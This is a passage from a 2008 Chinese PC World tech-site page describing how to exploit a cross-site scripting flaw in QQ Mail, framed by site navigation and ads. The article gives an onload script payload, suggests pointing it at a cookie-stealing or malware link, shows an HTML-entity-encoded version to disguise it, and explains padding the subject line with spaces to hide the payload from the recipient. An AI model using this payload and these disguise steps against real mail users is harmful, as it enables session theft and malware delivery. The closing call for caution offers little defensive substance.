PC World: 可信赖的技术购买和应用顾问
产品中心
笔记本电脑 台式机 配件 显示器 打印机 投影机 数码相机 数码摄象机 软件 网络与通信
企业计算 Linux/Unix .NET IT

专业子站

读者社区QQ群:34298428
联想重兵布局外部设备
联想投影机全球同一品质
联想打印机与冬奥同行
联想激光打印专区
无限照片打印
平板电视专业子站
PC大学堂
联想外设数码业务百城巡展
消费电子全攻略
打造数字化家装
联想商用PC专区
移动数码装备任你游
走近我们的RFID
万元级彩色激光一体机

每日聚焦

打印机服务对比
明日技术预言
数字说话088期
电子期刊047期
数码聚焦：神秘的镜头
超值桌面电脑Top 10
把iPod音乐搬到电脑上
Mac游戏：明年有何期待？
蓝光DVD惹恼PS3买家
搜索专利，请用Google！
互联网15大“时间陷阱”
2006年一百个先见之明
畅观磁盘存储50年
任天堂Wii游戏机初体验
iPod损坏了我们该怎么办？
Java的又一个15年
2006年11月使用技巧一览
2006年12期杂志内容一览

电子读物

电子期刊047期
头条回放024期
迎娶您的液晶显示器
PC面面观
12月选购技巧精彩回放
新商务显示
13款安全套装横向评测

独家报道

诺基亚E63清晰真机曝光
笔记本行业遭遇生死之困
史上最值得珍藏的18款PC
我的QQ密码谁也偷不走
买液晶显示器省钱的秘密
对诺基亚N95的一些看法
XP黑屏 盗版末日来了么？
64位龙芯迷你本明年面市
Eos 1000D的利润有多高？
各厂商召回电池方式一览
[专题]系统进程与安全
GF8200高清体验&性能测试
三星25.5寸宽屏入手
NVIDIA 9400M极地反攻战
你会选择非IE浏览器吗？
廉价手机，你会选择国货？
谁是您的下一台电脑？
“战地PK”报告第一期
笔记本世界论坛版主申请

新闻邮件订阅

IT要闻
产品评测
技巧推荐
社区精华
请输入您的e-mail地址:

使用技巧 - How to Use

　您的位置：首页 > 使用技巧 > 安全
QQ邮箱 QQ邮箱暴跨站漏洞
QQ邮箱跨站漏洞利用
　IT168 | 2008-04-18 13:17:58 |

　　点击“确定”返回邮件发送成功的页面。

　　   我想到了，可能被利用的一点。    那就是用如下这句：    <body onload='window.open("http://baidu.com")'>    发送的时候回弹出一个页面。活着换成接受COOKIE的链接。这个对方回复你邮件的时候会弹出一个页面，中马，或者COOKIE被截取。把<body onload='window.open("http://baidu.com")'>中间的部分UNIONCODE编码得到：<body onload='&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#111;&#112;&#101;&#110;("&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#98;&#97;&#105;&#100;&#117;&#46;&#99;&#111;&#109;")'>

　　    这样的迷惑就大一些了。而QQ邮件的标题似乎没做长度很大。所以可以像下面那样填写标题。

　　图4

　　    中间加上许多空格。这样在QQ右下角提示来新邮件的时候，就不会显示后面的编码部分。只显示空格前面的标题。如果你的内容比较具有迷惑性，当对方甚至不更改标题，直接回复你的时候就引发跨站了。当然对方用的是必须是QQ邮箱，别的邮箱也许也会有这样的跨站漏洞。这只是一个简单的利用，或许有更特别的方式。本文到此结束，也提醒大家注意防范此类风险。
 
 
上一页:QQ邮箱跨站漏洞原因
 
<< 上一页 1 2 末页 【推荐】【打印】
 
相关文章
安全
 
 
PCWorld社区

网友评论
以下网友评论只代表网友个人观点，不代表PCWorld观点
发表内容:

SPONSORED LINKS

联想M930一体机体验专区
5月15日，联想率先在喷墨一体机市场上发布了针对soho用户和小型办公类市场为主打……
联想外设数码业务百城巡展
传承奥运品质 倾心百城服务
爱普生3LCD联盟
了解3LCD已经汇集了3LCD技术精英的联盟站点
全方位深入的存储资讯
从企业级到个人应用，从业界动态到大型评测，带您尽览存储风云
享受高质量低成本的照片打印
联想4330照片打印机，打印成本仅需1元
尚品·人生网
尚品·人生网，让优质生活与事业和谐平衡
中华部落阁
加入中华部落阁，记录你的新生活。
润眼电脑“3H高清润眼屏”
免费体验，火热报名，海尔润眼电脑系列。
万元级彩色激光一体机
爱普生彩色激光多功能一体机CX11系列专区
联想投影机全球同一品质
新联想一周年庆典 新投影共享全球同一品质